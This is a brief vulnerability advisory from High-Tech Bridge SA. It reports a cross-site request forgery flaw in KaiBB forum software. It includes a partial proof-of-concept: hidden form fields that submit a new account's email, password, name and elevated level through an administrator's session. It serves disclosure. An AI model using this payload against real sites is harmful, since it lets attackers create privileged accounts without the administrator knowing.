Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in KaiBB which could be exploited to perform cross-site request forgery attacks.

<input type="hidden" name="regemail" value="email@example.com">
<input type="hidden" name="regpass" value="">
<input type="hidden" name="regname" value="test">
<input type="hidden" name="justip" value="0">
<input type="hidden" name="reglevel" value="2">
<input type="hidden" name="rankselect" value="1">
<input type="hidden" name="sfrozen" value="0">
<input type="hidden" name="notes" value="">
<input type="hidden" name="signature" value="">
